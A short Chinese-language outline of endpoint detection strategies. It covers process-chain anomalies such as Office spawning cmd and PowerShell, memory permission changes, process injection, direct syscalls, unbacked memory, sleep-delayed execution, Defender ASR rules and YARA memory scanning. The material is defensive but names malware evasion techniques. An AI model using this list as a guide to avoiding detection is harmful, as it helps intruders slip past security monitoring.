1. 不依赖文件Hash → 关注行为
   ├── 进程链异常: Office → cmd → PowerShell
   ├── 内存分配: VirtualAlloc + RW → RX权限变化
   └── 进程注入: 跨进程内存写入

2. 关注syscall直调
   ├── 非ntdll代码段执行syscall指令
   └── Unbacked内存(未映射到磁盘文件的虚拟内存)上的代码执行

3. 关注延迟执行模式
   ├── 大量Sleep后突然的行为变化
   └── 时间窗口内的行为序列

4. ASR规则(微软Defender ASR是最有效的EDU防护)
   ├── 阻止Office创建子进程
   ├── 阻止Office注入代码
   ├── 阻止从Office/Win32 API创建可执行内容
   └── 阻止PSExec和WMI创建进程

5. 内存扫描(周期性)
   ├── 扫描所有进程的私有可执行内存
   ├── 检查内存区域是否有执行+写入权限
   └── Yara规则扫描内存